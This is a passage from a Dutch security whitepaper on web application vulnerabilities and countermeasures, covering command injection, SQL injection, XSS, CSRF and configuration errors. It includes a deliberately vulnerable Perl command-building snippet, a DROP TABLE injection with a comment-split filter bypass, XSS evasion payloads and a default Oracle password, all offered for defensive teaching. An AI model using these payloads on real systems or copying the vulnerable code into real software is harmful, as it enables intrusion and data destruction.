verschillende talen aan te bieden, waarbij gebruik gemaakt wordt van de language parameter. Voor het inlezen van de voorwaarden uit een bestand, maakt de webapplicatie gebruik van het OS-commando ‘cat’ in combinatie met de language parameter. Via het ‘cat’ commando is het onder UNIX en Linux mogelijk om de inhoud van een bestand in te lezen en af te drukken op het scherm. Roept men ‘cat’ aan vanuit een script, dan is het mogelijk om de inhoud niet af te drukken op een scherm, maar in te laden in een variabele. De (Perl-)code die de webapplicatie in dit geval gebruikt is de volgende: 1: $language = getParameter(“language”); 2: $cat_command = “cat ./voorwaarden/” + $language; 3: $voorwaarden = `$cat_command`; 4: print $voorwaarden;

Kiest een gebruiker bijvoorbeeld voor de taal ‘nl’ dan zal de webapplicatie de Nederlandse voorwaarden uit het bestand ‘./voorwaarden/nl’ tonen. Dit doet de applicatie door eerst een ‘cat’ commando samen te stellen (regel 2 uit het voorbeeld), dit vervolgens uit te voeren (regel 3) en het resultaat ervan uiteindelijk terug te sturen naar de gebruiker (regel 4). Command-injectie is in dit soort gevallen mogelijk door misbruik te maken van de pipefunctionaliteit op OS-niveau. Door achter een OS-commando een pipe (‘|’) te specificeren is het mogelijk om, naast het eerste commando, ook nog een extra commando uit te voeren. Daarbij vormt de uitvoer van het eerste commando, de invoer voor het tweede commando. Figuur 5-7 toont dit mechanisme.

Figuur 5-7: piping

Hoewel in het voorbeeld van figuur 5-7 commando2 gebruik kan maken van de uitvoer van commando1, is dit niet verplicht. Commando2 kan dus geheel onafhankelijk van commando1 uitgevoerd worden. Het is daarom eenvoudig om het geschetste voorbeeld te misbruiken voor het uitvoeren van willekeurige commando’s. Figuur 5-8

Titel

Datum


4-11-2010

Pagina

82

laat zien hoe een malafide gebruiker door het manipuleren van de language parameter kan proberen om de volledige inhoud van /www/ (en alle subdirectories) van het systeem te verwijderen.

Figuur 5-8: command-injectie

De mogelijkheden die een kwaadwillende heeft bij een command-injectiekwetsbaarheid zijn groot. In principe kan een kwaadwillende in dit geval alle ondersteunde OScommando’s aanroepen en wordt hij alleen beperkt door de rechten waaronder de webserver draait. OPMERKING Om OS-commando’s te kunnen injecteren in een webapplicatie is het niet altijd nodig om kwetsbare OS-aanroepen in de code te vinden. Zo kan ook een SQL-injectie kwetsbaarheid leiden tot command-injectie. Bevat een webapplicatie die gebruik maakt van een Microsoft SQL-database server bijvoorbeeld een SQL-injectie kwetsbaarheid, dan kan een kwaadwillende proberen om via de Transact-SQL functie xp_cmdshell proberen een willekeurig OS-commando aan te roepen.

5.2.9. Buffer overflows Een buffer overflow doet zich voor op het moment dat een applicatie meer data naar een geheugenbuffer schrijft dan dat daar initieel voor was gereserveerd. Hierdoor komt data op plekken in het geheugen terecht waar dit eigenlijk niet had gemogen. Misbruik van een buffer overflow kan leiden tot het uitvoeren van code op het systeem; hierdoor kan een kwaadwillende in het ernstigste geval volledige controle over een systeem krijgen.

Titel

Datum


4-11-2010

Pagina

83

Buffer overflows in webapplicaties zijn niet altijd eenvoudig te ontdekken en vaak moeilijk te misbruiken.

5.2.10. Fouten in de applicatielogica Aan alle tot dusverre genoemde kwetsbaarheden liggen technische fouten ten grondslag. Het is echter mogelijk om een kwetsbare webapplicatie te hebben die geen enkele technische fout bevat. Fouten in de applicatielogica kunnen ertoe leiden dat kwaadwillenden ongewenste activiteiten uitvoeren via de webapplicatie met compleet legitieme verzoeken. Fouten in de applicatielogica kunnen zich op elke plek in de webapplicatie voordoen. Een bekend voorbeeld van uitbuiting van een fout in de applicatie logica vond in 2004 plaats bij een TV-zender in de Verenigde Staten25. Via een webapplicatie stelde de TVzender scholen en bedrijven uit de plaats Raleigh in staat om korte berichten in beeld te laten verschijnen. De webapplicatie werkte als volgt: 1. Bedrijven en scholen konden zich aanmelden. 2. Na aanmelden konden zij een bericht invoeren dat zij graag in beeld wilden laten verschijnen. 3. Een medewerker van het TV-station controleerde de melding en pas als deze was goedgekeurd werd deze vrijgegeven om op TV getoond te worden. Door deze drie stappen te volgen, wilde men voorkomen dat er misbruik van deze functionaliteit zou worden gemaakt. Echter, er verschenen op een gegeven moment ‘vreemde’ berichten in beeld, afkomstig van bedrijven als ‘1337 Sp34k Linguistic Services’, ‘h4x0r3d Computer Services Inc.’, ‘PWNT Industries’ en ‘All Your Base Are Belong To Us’. Nader onderzoek leerde dat het mogelijk was om berichten na goedkeuring alsnog te wijzigen. Het idee was dat een bedrijf of school in staat moest zijn om een eenmaal goedgekeurd bericht nog te wijzigen indien het fouten of iets dergelijks bevatte. Op zich geen probleem, maar gewijzigde berichten werden automatisch getoond op TV en werden niet meer door de redactie goed- danwel afgekeurd. Het proces is weergegeven in figuur 5-9.

25

http://www.securityfocus.com/news/8191

Titel

Datum


4-11-2010

Pagina

84

Figuur 5-9: fout in de applicatielogica

5.2.11. Configuratiefouten De configuratie van de webapplicatie en het applicatieplatform spelen een belangrijke rol in de beveiliging van het geheel. Door een webapplicatie en/of applicatieplatform te installeren zonder daarbij aandacht te besteden aan de configuratie ervan kunnen zich verschillende beveiligingsproblemen voordoen. Enkele voorbeelden hiervan zijn: •

Gebruik van standaardpaden voor de webroot. Veel webservers kennen een standaardpad voor de installatie van de webroot. In het geval van Microsoft Internet Information Server (IIS) is dit bijvoorbeeld c:\inetpub\wwwroot. Gebruik van standaardpaden kan kwaadwillenden helpen om de absolute locatie van bestanden te bepalen en dit te misbruiken in scripts.

•

Gebruik van standaard gebruikersnamen en wachtwoorden. Voor de toegang tot verschillende onderdelen van een webomgeving kun je gebruik maken van standaard aanwezige gebruikersnamen en wachtwoorden. Richt je bijvoorbeeld een Oracle-database in voor de opslag van gegevens voor de webapplicatie, dan zijn standaard een aantal accounts in de database aanwezig (bijvoorbeeld gebruiker ‘system’ met wachtwoord ‘manager’). Wanneer je deze standaard gebruikersnamen en wachtwoorden niet wijzigt, kan een kwaadwillende zich mogelijk met deze gegevens toegang verschaffen tot databases en andere applicaties.

Titel

Datum


4-11-2010

Pagina

85

VOORBEELD Van veel producten worden bekende gebruikersnamen en wachtwoorden op internet gepubliceerd. Dat een kwaadwillende niet bekend is met een bepaalde applicatie betekent dus niet dat hij hierop niet zal kunnen inloggen met bekende gebruikersnamen en wachtwoorden. Zie bijvoorbeeld de volgende lijst van standaard gebruikersnamen en wachtwoorden die op internet terug te vinden is: http://www.phenoelit-us.org/dpl/dpl.html •

Aanwezigheid van standaard plug-ins. Een ‘kaal’ geïnstalleerde webserver kent over het algemeen al een aantal plug-ins. Een webapplicatie hoeft niet per definitie gebruik te maken van deze plug-ins. Dit kan ertoe leiden dat een bepaalde plug-in wel aanwezig is op een webserver zonder dat deze gebruikt wordt. Dit is een hardeningsprobleem dat nog eens verergerd wordt door het feit dat geen aandacht wordt besteed aan de beveiliging van deze plug-in. Hierdoor kan een mogelijk beveiligingslek ontstaan.

•

Ontbreken van patches. Wanneer een applicatieplatform geïnstalleerd wordt vanaf een medium (bijvoorbeeld DVD), zijn op dit medium meestal nog niet de laatste patches voor het applicatieplatform geplaatst. Wanneer je vergeet om deze patches na installatie van de webserver te downloaden en te installeren, bevat het applicatieplatform hierdoor ongedichte lekken.

•

Ingeschakelde ‘debugging’-opties. Sommige applicatieplatformen ondersteunen standaard een aantal ‘debugging’-opties. Debugging is bedoeld om het aantal bugs (fouten) in een applicatie te verminderen door uitgebreide foutmeldingen te genereren, voor het geval zich een probleem voordoet. Deze foutmeldingen kan een kwaadwillende in zijn voordeel gebruiken (zie §5.2.4.1).

5.3. Oorzaken De kwetsbaarheden uit de vorige paragraaf hebben vaak een gemeenschappelijke oorzaak. Deze paragraaf gaat in op de oorzaken die aan de kwetsbaarheden uit de vorige paragraaf ten grondslag liggen.

5.3.1. Geen invoervalidatie Ongecontroleerde (ongevalideerde) invoer van gebruikers is de belangrijkste dreiging voor een webapplicatie. Als invoer van gebruikers rechtstreeks wordt gebruikt in HTML-uitvoer, cookie-waarden, SQL-queries, etcetera, bestaat er een grote kans dat een kwaadwillende de webapplicatie compromitteert. Een gebrek aan invoervalidatie leidt vaak tot XSS en SQL-injectie kwetsbaarheden.

Titel

Datum


4-11-2010

Pagina

86

5.3.2. Geen uitvoervalidatie Naast het ontbreken van validatie van invoer ontbreekt het bij sommige webapplicaties ook aan de validatie van uitvoer. Als een webapplicatie onvoldoende controles uitvoert op de uitvoer die het terugstuurt naar de eindgebruiker, kan het gebeuren dat er zich onbedoelde of ongewenste inhoud in de uitvoer bevindt. Denk hierbij aan scriptingcode die een aanvaller gebruikt in XSS-aanvallen, informatie over gebruikte technologieën op de server en uitgebreide foutmeldingen.

5.3.3. Ineffectieve filters In veel gevallen voert een webapplicatie wel invoervalidatie en filtering uit, maar blijkt deze filtering niet voldoende effectief genoeg om alle mogelijke aanvallen op de webapplicatie te blokkeren. Dit is voornamelijk het geval op het moment dat de webapplicatie gebruik maakt van blacklisting om mogelijk gevaarlijke strings uit de invoer te verwijderen. Stel bijvoorbeeld dat een webapplicatie gevaarlijke SQL keywords uit invoer verwijdert om op die manier SQL-injectie aanvallen te voorkomen. De ontwikkelaar heeft daarom de keywords SELECT, INSERT, UPDATE, DROP en DELETE op de blacklist geplaatst. Een aanval als hieronder weergegeven zal hierdoor niet succesvol zijn: SELECT * FROM products WHERE id = 1; DROP TABLE products;--

Omdat de webapplicatie het keyword DROP uit de invoer verwijdert, ontstaat een query die syntactisch incorrect is en hierdoor niet door de database zal worden uitgevoerd. Veel databases bieden echter de mogelijkheid om commentaar in queries op te nemen, bijvoorbeeld via de ‘/*’ (start commentaar) en ‘*/’ (einde commentaar) tekenreeksen. Deze commentaren kun je vaak midden in een query opnemen. Een database verwijdert eerst de commentaren uit de query en voert de query daarna pas uit. Hierdoor is een aanval als hieronder mogelijk wel succesvol: SELECT * FROM products WHERE id = 1; DR/**/OP TABLE products;--

Omdat in bovenstaande invoer geen van de strings op de blacklists voorkomt, zal de webapplicatie de getoonde invoer in zijn geheel aanbieden aan de database. De database verwijdert vervolgens de commentaartekens, waarna effectief een DROPquery overblijft. Op eenzelfde manier als hierboven bestaat er nog een groot aantal andere manieren om filters van webapplicaties te omzeilen. Een aantal technieken dat kwaadwillenden hiervoor gebruiken, is hieronder opgesomd:

Titel

Datum


4-11-2010

Pagina

87

•

Invoegen van NULL-karakters, bijvoorbeeld: <scr\0ipt>alert(‘bla’);

•

Hex coderen van karakters, bijvoorbeeld: \x3c\x53\x52\x49\x50\x54\x3ealert(‘bla’);\x3c\x2f\x53\x52\x49\x50\x54\x3e

•

Base64 coderen van strings, bijvoorbeeld: PHNjcmlwdD5hbGVydCgnYmxhJyk7PC9zY3JpcHQ+

Belangrijk om te beseffen is dat filters kunnen helpen in het beveiligen van de webapplicatie, maar dat er altijd een kans bestaat dat een kwaadwillende het filter omzeilt. Filters op basis van whitelists zijn hierbij veel moeilijker te omzeilen dan filters op basis van blacklists.

5.3.4. Onveilige opslag van informatie Onveilige opslag van informatie verhoogt niet zozeer de kans op een kwetsbaarheid, maar verhoogt wel de schade die een kwetsbaarheid teweeg kan brengen. Informatie die niet versleuteld opgeslagen is, kan bijvoorbeeld een probleem vormen op het moment dat de webapplicatie een path traversal of command-injectie kwetsbaarheid bevat. Het niet versleuteld opslaan van gevoelige informatie in een database is ook een probleem op het moment dat de webapplicatie kwetsbaar is voor SQL-injectie. VOORBEELD In mei 2005 werden miljoenen creditcardgegevens ontvreemd via het bedrijf CardSystems dat creditcardbetalingen afhandelt. Systemen van CardSystems bleken kwetsbaar voor SQL-injectie. Daarbij sloeg CardSystems creditcardgegevens onversleuteld op in databases. De combinatie van SQL-injectie met onversleutelde gegevens in de database werd uiteindelijk als belangrijkste oorzaak van dit incident aangewezen. Zie voor meer informatie: http://www.ftc.gov/opa/2006/02/cardsystems_r.shtm Meer over de onveilige opslag van informatie is terug te vinden in hoofdstuk 9.

5.3.5. Extern ontwikkelde, kwetsbare applicaties Bij het nemen van beveiligingsmaatregelen voor webapplicaties bestaat de kans dat de focus voornamelijk gericht is op intern ontwikkelde applicaties. “Extern ontwikkelde aangekochte applicaties zijn veilig”, wordt vaak gedacht. Niets is minder waar. Ook extern ontwikkelde applicaties kunnen kwetsbaarheden bevatten. En juist omdat deze in gebruik zijn bij meer organisaties, is de kans groter dat kwaadwillenden hun pijlen

Titel

Datum


4-11-2010

Pagina

88

op deze applicaties richten en bijvoorbeeld exploits voor deze producten publiceren. Producten waar je in dit verband aan kunt denken, zijn bijvoorbeeld Content Management Systemen (CMS), fora, PHP-bibliotheken en webmail-applicaties. VOORBEELD In beveiligingsadvies MS06-029 beschrijft Microsoft een kwetsbaarheid in Microsoft Outlook Web Access (OWA). Dit product vormt een standaard onderdeel van Microsoft Exchange Server en biedt gebruikers de mogelijkheid om via internet hun (zakelijke) e-mail en agenda te beheren (webmail). Door misbruik te maken van deze kwetsbaarheid (een XSS-kwetsbaarheid) kunnen kwaadwillenden inloggegevens van OWA-gebruikers achterhalen. Dit voorbeeld schetst dat ook standaard webapplicaties kwetsbaar kunnen en zullen zijn. Meer informatie over deze specifieke kwetsbaarheid kunt u vinden op de Microsoft website (http://www.microsoft.com/technet/security/Bulletin/MS06-029.mspx) en in GOVCERT.NL beveiligingadvies GOVCERT.NL-2006-133 (bijlage A).

5.3.6. Gebruik van voorbeeldscripts van internet Op internet zijn veel voorbeeldscripts beschikbaar die beschrijven op welke manier ontwikkelaars bepaalde functionaliteiten in hun webapplicatie kunnen implementeren. Vaak is in deze voorbeeldscripts onvoldoende aandacht besteed aan het aspect beveiliging, zoals het voorbeeldscript uit figuur 5-10 aantoont.

Figuur 5-10: een kwetsbaar PHP-voorbeeldscript van internet

Het gevaar bestaat dat ontwikkelaars deze voorbeeldscripts één-op-één verwerken in hun eigen webapplicatie, waardoor zij automatisch een kwetsbaarheid in hun webapplicatie introduceren.

5.3.7. Onvoldoende hardening en patching Tenslotte kan het ontbreken van hardeningsmaatregelen en patches leiden tot veel van de beschreven kwetsbaarheden. Het ontbreken van patches kan er bijvoorbeeld toe leiden dat allerhande kwetsbaarheden aanwezig blijven in extern ontwikkelde webapplicaties (zie §5.3.5) en in web- en applicatieservers.

Titel

Datum


4-11-2010

Pagina

89

Verder kan het ontbreken van hardeningsmaatregelen ertoe leiden dat succesvol misbruik van kwetsbaarheden leidt tot grote schade. Zo zijn de mogelijkheden van een command-injectie kwetsbaarheid vaak beperkt tot de rechten van het account waaronder de webserver draait. Maakt de webserver gebruik van een account dat zeer hoge rechten heeft, dan kan de kwaadwillende nog meer schade aanrichten.

Titel

Datum


4-11-2010

Pagina

90

6.

Applicatiebeveiliging - maatregelen

Het vorige hoofdstuk besteedde aandacht aan de kwetsbaarheden die in een webapplicatie aanwezig kunnen zijn. Dit hoofdstuk kijkt naar de manier waarop deze kwetsbaarheden kunnen worden voorkomen of de schade door misbruik van de kwetsbaarheden kan worden beperkt. De maatregelen zijn onderverdeeld in maatregelen op het gebied van software-ontwikkeling, configuratiemaatregelen, procedurele maatregelen en overige maatregelen. Het hoofdstuk start echter met een korte beschrijving van het doel dat maatregelen moeten hebben namelijk,het beperken van risico.

6.1. Inleiding Elke maatregel uit deze whitepaper heeft als doel om het risico met betrekking tot misbruik van webapplicaties te verlagen. Bij het treffen van maatregelen is het belangrijk om te beseffen waaruit dit risico is opgebouwd. Dit document gebruikt de volgende, breed geaccepteerde definitie van risico. Risico is het product van de kans op optreden van een ongewenste gebeurtenis en de schade als gevolg van deze ongewenste gebeurtenis: risico = kans x schade Bovenstaande definitie van risico betekent schade dat een maatregel er altijd op geënt moet zijn om de kans op een kwetsbaarheid te verminderen, de schade door misbruik van hoog II I een kwetsbaarheid te verminderen of beiden te realiseren. Figuur 6-1 illustreert de matrix die bij deze definitie ontstaat. Hierbij ontstaan vier kwadranten van risico: hoog risico laag III IV (kwadrant I), gemiddeld risico (kwadranten II en IV) en laag risico (kwadrant III). kans Neem bijvoorbeeld het risico van SQL-injectie laag hoog bij een bepaalde webapplicatie. Neemt een organisatie geen maatregelen tegen SQLFiguur 6-1: risico inschaling injectie, dan zal zowel de kans op optreden hiervan, als de schade door SQL-injectie hoog zijn, waardoor de inschaling hiervan terecht zal komen in kwadrant I (hoog risico). Wanneer de ontwikkelaar besluit om

Titel

Datum


4-11-2010

Pagina

91

gebruik te maken van geparameteriseerde queries, verlaagt de ontwikkelaar hiermee de kans dat SQL-injectie optreedt. Echter, de schade die optreedt als een kwaadwillende er toch in slaagt om een SQL-injectie aanval op de webapplicatie uit te voeren, is nog steeds hoog. Het risico komt hiermee terecht in kwadrant IV (gemiddeld risico). Om de schade door SQL-injectie te verlagen is het belangrijk om voor de verbinding van de webapplicatie met de database een account met beperkte rechten te gebruiken. Het risico op SQL-injectie kan hierdoor pas laag worden (kwadrant III) als zowel gebruik gemaakt wordt van geparameteriseerde queries als een account met beperkte rechten op de database. Belangrijk bij het implementeren van de maatregelen uit dit hoofdstuk – en ook de rest van deze whitepaper – is om het onderscheid tussen kans en schade te maken om zodoende het risico zoveel mogelijk te kunnen verlagen. Als er bijvoorbeeld alleen maatregelen zijn geïmplementeerd die de kans verlagen, kan de schade als gevolg van misbruik nog steeds heel hoog zijn. Maatregelen moeten dus als doel hebben om zowel de kans als de schade terug te brengen tot een aanvaardbaar niveau. De rest van dit hoofdstuk beschrijft de maatregelen die een organisatie kan nemen om het risico op misbruik van de webapplicatie te verlagen.

6.2. Maatregelen op het gebied van software-ontwikkeling Veel van de bekendste kwetsbaarheden in webapplicaties zoals XSS en SQL-injectie vinden hun oorsprong in fouten die programmeurs maken tijdens het ontwikkelen van software. Er bestaat een aantal maatregelen dat de aanwezigheid van deze kwetsbaarheden grotendeels kan voorkomen. Deze paragraaf beschrijft de belangrijkste maatregelen op het gebied van softwareontwikkeling die de kans op en schade door de aanwezigheid van ernstige kwetsbaarheden in webapplicaties helpen voorkomen.

6.2.1. Zorg voor een veilige afhandeling van data De belangrijkste vuistregel voor invoer in een webapplicatie is dat de applicatie alle invoer nooit mag vertrouwen en daarom moet valideren. Dit betekent dat de webapplicatie in ieder geval de volgende onderdelen van een HTTP-verzoek moet valideren, voor die te gebruiken binnen de webapplicatie: • • • • •

URL’s; Query parameters (variabelen die de client via GET requests doorgeeft); Form parameters (variabelen die de client via POST requests doorgeeft); Cookies; HTTP-headers;

Titel

Datum


4-11-2010

Pagina

92

• •

XML (hieronder vallen ook protocollen als SOAP, JSON en REST); Bestanden.

Elke invoer waarvan de webapplicatie gebruik maakt, moet gecontroleerd worden op type, lengte, formaat, karakters, etcetera. Veel scripting- en programmeertalen ondersteunen het gebruik van zogenoemde ’reguliere expressies’ op basis waarvan het mogelijk is om invoer te valideren. Via een reguliere expressie beschrijft de programmeur welke invoer hij/zij verwacht. Voldoet de invoer niet aan wat volgens de reguliere expressie wordt verwacht, dan kan de invoer worden geweigerd. Een reguliere expressie vormt hiermee een whitelist voor data die de webapplicatie kan verwerken. VOORBEELD Een Nederlandse postcode bestaat uit vier cijfers gevolgd door twee letters met daar tussenin soms een spatie. Verwacht men binnen een webapplicatie de postcode van een gebruiker dan is het via een reguliere expressie eenvoudig te controleren of de invoer voldoet aan deze standaard: [1-9][0-9]{3}\s?[a-zA-Z]{2} Deze expressie kun je als volgt lezen: • Het eerste cijfer van de postcode is altijd een cijfer van 1 tot en met 9 ([1-9]); • Dan volgt drie keer een cijfer van 0 tot en met 9 ([0-9]{3}); • Eventueel volgt er na de cijfers een spatie (\s?); • En de postcode sluit af met tweemaal een hoofd- of kleine letter ([a-zA-Z]{2}). Een veilige afhandeling van data vereist dat je een zeer duidelijk beeld hebt van de invoer die de webapplicatie moet kunnen verwerken. Om te helpen voorkomen dat reguliere gebruikers gegevens invoeren die de webapplicatie niet zal accepteren, kun je ervoor kiezen om dit via controles aan de client-zijde (de browser) in te bouwen. Dit mag echter nooit als vervanging dienen voor de controles die de webapplicatie zelf uitvoert, omdat controles aan de client-zijde gemakkelijk kunnen worden omzeild. Belangrijk is dat de applicatie de controles uitvoert op alle soorten invoer, dus ook op data die zich in eerste instantie lijkt te beperken tot de client, zoals een drop-down list met een beperkt aantal keuzes. Naast het toepassen van whitelisting via reguliere expressies is het ook mogelijk om blacklisting op invoer toe te passen. Denk hierbij aan het scannen van invoer op mogelijk malafide strings zoals ’SELECT’ (SQL-injectie) en ‘<SCRIPT’ (XSS). Whitelisten van invoer heeft altijd de voorkeur boven blacklisten aangezien de kans op het blokkeren van een aanval bij whitelists een stuk hoger is.

Titel

Datum


4-11-2010

Pagina

93

Tot slot moeten ontwikkelaars na het toepassen van alle white- en blacklists als laatste stap in het invoervalidatieproces eventuele overgebleven gevaarlijke karakters ‘escapen’, ofwel van een escape (‘\’) karakter voorzien. Door een escape vóór gevaarlijke karakters te plaatsen, kan worden voorkomen dat deze karakters schade toebrengen. Een voorbeeld van een gevaarlijk karakter voor gebruik binnen een query is de apostrof (‘). Omdat apostrofs binnen queries ook gebruikt worden voor het afbakenen van strings (mogelijk invoer), kan een query syntactisch incorrect worden op het moment dat de invoer ook een apostrof bevat. Stel bijvoorbeeld dat een webapplicatie de mogelijkheid biedt in een tabel met nieuwsberichten te zoeken op een keyword in de titel. De code gebruikt hiertoe de volgende query: SELECT * FROM nieuws WHERE titel LIKE '%$keyword%';

Op het moment dat een gebruiker (bedoeld of onbedoeld) een apostrof in het keyword gebruikt ontstaat een probleem, bijvoorbeeld: SELECT * FROM nieuws WHERE titel LIKE '%'s-gravenhage%';

Het uitvoeren van bovenstaande query zal ertoe leiden dat de database een fout genereert. Zoals uit het vorige hoofdstuk is gebleken, kan dit echter ook leiden tot SQL-injectie aanvallen. Om dit te voorkomen moeten de apostrof en andere gevaarlijke karakters voorzien worden van een escape: SELECT * FROM nieuws WHERE titel LIKE '%\'s-gravenhage%';

Door de escape voor de apostrof te plaatsen, beschouwt de database de apostrof als onderdeel van de invoer en niet als onderdeel van de query. Veel programmeertalen ondersteunen standaardfuncties voor het escapen van gevaarlijke karakters. Zo kunnen PHP-ontwikkelaars standaard gebruik maken van de functie mysql_real_escape_string() voor het escapen van gevaarlijke karakters in queries die bedoeld zijn voor een MySQL-database.

6.2.2. Valideer de initiator van het verzoek Om te voorkomen dat CSRF-aanvallen succesvol zijn en sessies worden overgenomen, is het van belang dat een webapplicatie bekijkt wie de initiator van een verzoek is geweest. De website moet de transactie dus autoriseren op basis van voldoende controles. Er zijn verschillende manieren om dit te bereiken. Stel bijvoorbeeld dat een website een pagina heeft waarop geauthenticeerde gebruikers hun wachtwoord kunnen wijzigen. Een malafide website kan dit proberen te

Titel

Datum


4-11-2010

Pagina

94

misbruiken door een ingelogde gebruiker dit formulier aan te laten roepen met een door de aanvaller geïnitieerd wachtwoord. Dit proces, een typisch voorbeeld van Cross-Site Request Forgery (CSRF) is gestippeld (in rood) weergegeven in figuur 6-2. Slaagt dit proces, dan kan de kwaadwillende achter de malafide website mogelijk inloggen op de bonafide website met het wachtwoord dat de kwaadwillende zelf heeft opgegeven.

Figuur 6-2: gebruik van dynamische tokens

Een website kan dit voorkomen door in de pagina voor het wijzigen van het wachtwoord een dynamisch token op te nemen: een token dat wijzigt bij elk verzoek naar de pagina en gekoppeld is aan de gebruiker die op dat moment is ingelogd. Dit token is dus moeilijk te voorspellen door een kwaadwillende. Maakt een website gebruik van een dergelijk mechanisme, dan zal het elk verzoek waarin het betreffende token ontbreekt kunnen negeren. Figuur 6-2 toont via de doorgetrokken streep (in het groen) het proces dat de gebruiker normaal gesproken doorloopt bij het aanroepen van het formulier. Hierbij roept de gebruiker eerst het formulier voor het wijzigen van het wachtwoord op en hierin bevindt zich het dynamisch gegenereerde token. De bezoeker vult vervolgens het formulier in en stuurt dit, samen met het eerder gegenereerde token, terug naar de webserver. De gebruiker hoeft van dit proces niets te merken. Het token kan bijvoorbeeld een verborgen invoerveld in het formulier zijn. Een aanvullend mechanisme dat je in de webapplicatie kunt inbouwen ter verificatie van de initiator is de koppeling tussen een cookie en een IP-adres. De webapplicatie deelt cookies aan eindgebruikers uit om op die manier een sessie met deze eindgebruiker op te kunnen bouwen. De webapplicatie heeft zicht op de cookies die het heeft uitgedeeld en de machines (het IP-adres) aan wie het de cookies heeft uitgedeeld. Op basis van deze informatie is het mogelijk om een aangeboden cookie te

Titel

Datum


4-11-2010

Pagina

95

valideren. Als een kwaadwillende erin slaagt om een cookie te onderscheppen, dan kan hij het cookie op dat moment niet misbruiken omdat het IP-adres van de machine van de kwaadwillende niet overeenkomt met het IP-adres van de oorspronkelijke bezoeker. Merk op dat het koppelen van cookies en IP-adressen, in tegenstelling tot het dynamische token uit de vorige paragraaf, geen beveiliging biedt tegen CSRFaanvallen. Bij een CSRF-aanval is de browser van de gebruiker altijd zelf de initiator en daarom zal de browser ook zelf het cookie invoegen. Hierdoor zal het verzoek vanuit het oogpunt van de webserver afkomstig zijn vanaf een valide combinatie van cookie en IP-adres. Een laatste mechanisme voor het controleren van de geldigheid van een transactie is het valideren van de Referer header uit het HTTP-verzoek. De Referer header beschrijft de URL die de gebruiker bezocht en die geleid heeft tot dit HTTP-verzoek. Stel bijvoorbeeld dat een gebruiker een malafide website bezoekt en hier een link krijgt aangeboden die een CSRF-kwetsbaarheid probeert uit te buiten. De CSRFkwetsbaarheid is aanwezig in de link die eerder werd beschreven in hoofdstuk 5: http://www.uuerel.nl/[email protected] Als de gebruiker zijn e-mailadres wijzigt via de website uuerel.nl dan zal de Referer header er mogelijk zo uitzien: Referer: http://www.uuerel.nl/initiatemailchange.do Opent de gebruiker dezelfde link doordat deze een malafide website bezoekt dan zal de Referer header een hele andere inhoud hebben, bijvoorbeeld: Referer: http://www.drevil.com/hahaha.aspx Een controle op de inhoud van de Referer header kan dus een extra maatregel vormen voor het autoriseren van een transactie op de website. Het mag echter nooit als enige maatregel voor het autoriseren van een transactie worden ingezet. Een kwaadwilende kan namelijk altijd een eigen willekeurige Referer header injecteren op het moment dat de kwaadwillende zelf de initiator van een HTTP-verzoek is. ACHTERGROND Het uitvoeren van controles op de Referer header zal in veel gevallen CSRF-aanvallen onmogelijk maken omdat de Referer header hierbij gevuld is met een malafide website. Dit geldt echter niet in alle gevallen. Zo is het bijvoorbeeld denkbaar dat een website zowel een (stored) XSS-kwetsbaarheid als een CSRF-kwetsbaarheid bevat. In dit geval wordt de CSRF-aanval uitgevoerd vanuit het domein van de bonafide website waardoor ook de controle van de Referer header

Titel

Datum


4-11-2010

Pagina

96

geen soelaas meer zal bieden. Dit voorbeeld toont ook aan dat een combinatie van verschillende typen kwetsbaarheden ernstige gevolgen kan hebben.

6.2.3. Normaliseer data Voordat een webapplicatie invoer gaat valideren, moet deze de data eerst normaliseren. Hiermee voorkomt de webapplicatie dat malafide verzoeken voorbij filters kunnen komen. Normaliseren houdt in dat bijvoorbeeld onnodige witruimtes worden verwijderd, gecodeerde karakers worden gedecodeerd, etcetera. Meer over normaliseren kunt u ook nalezen in paragraaf 7.3, waarin een beschrijving is opgenomen van deze functionaliteit in Web Application Firewalls. VOORBEELD Een organisatie wil met het oog op XSS voorkomen dat kwaadwillenden JavaScript kunnen injecteren in de webapplicatie van de organisatie. De redenering van ontwikkelaars was dat kwaadwillenden hiertoe altijd een ‘<script>’ tag en een ‘’ tag moeten gebruiken in hun malafide invoer. Op basis van deze redenering besluiten de ontwikkelaars alle invoer te ontdoen van deze twee strings. Zonder de invoer eerst te normaliseren blijkt deze manier van filtering zeer ineffectief. De volgende voorbeelden illustreren invoer die niet door het filter wordt ontdekt, maar wel leidt tot XSS: 1. <SCRipt>alert(‘bla’); 2. <script >alert(‘bla’); 3. \x3Cscript\x3Ealert(‘bla’);\x3C/script\x3E Deze invoer omzeilt om de volgende redenen het filter: 1. Door het mixen van hoofd- en kleine letters. 2. Door de spatie voor de ‘>’ tekens. 3. Door hexadecimale codering van de kleiner dan (\x3e) en groter dan (\x3c) tekens herkent het filter de tags niet.

6.2.4. Codeer dynamische inhoud De voorgaande paragrafen hielden zich voornamelijk bezig met invoervalidatie. Naast invoervalidatie is het echter ook van belang om uitvoervalidatie toe te passen. Uitvoervalidatie voorkomt dat de webapplicatie ongewenste opdrachten geeft aan de client, bijvoorbeeld in het geval van XSS. Uitvoervalidatie kun je implementeren door het coderen van alle dynamische inhoud van een webpagina. Vrijwel elke webpagina bevat naast statische informatie ook dynamische informatie. Deze dynamische informatie kan bijvoorbeeld afkomstig zijn uit databases of externe bronnen maar kan ook gebaseerd zijn op invoer van de gebruiker. Zeker in het laatste geval bestaat de kans dat aanvallers misbruik maken van onvoldoende filtering of codering.

Titel

Datum


4-11-2010

Pagina

97

Het coderen van dynamische pagina-inhoud houdt in dat de webapplicatie mogelijk ‘gevaarlijke’ karakters codeert. Hoe de webapplicatie deze informatie moet coderen is afhankelijk van de plek in de pagina waar deze dynamische inhoud verschijnt. Zo moet men speciale karakters in HTML, JavaScript, HTML-attributen en URL’s allemaal op een andere wijze coderen. Neem bijvoorbeeld het ’groter dan’-teken (>). Afhankelijk van de plek waar dit teken wordt gebruikt, ziet de gecodeerde versie van dit teken er als volgt uit: • • • • •

HTML gecodeerd HTML-attribuut gecodeerd JavaScript gecodeerd CSS gecodeerd URL gecodeerd

: : : : :

< > \x3E \3E %3E

Veel scripting- en programmeertalen hebben standaard bibliotheken waarmee deze codering kan worden uitgevoerd. VOORBEELD Het Open Web Application Security Project (OWASP) biedt via haar website de zogenoemde Enterprise Security API (ESAPI) aan waarin verschillende webgerelateerde functies voor beveiliging zijn opgenomen. Onderdeel van de ESAPI is de Encoder-component waarmee het mogelijk is specifieke onderdelen van webuitvoer te coderen. ESAPI-implementaties zijn beschikbaar voor verschillende talen waaronder Java, PHP en Microsoft .NET. Voor meer informatie, zie: http://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API

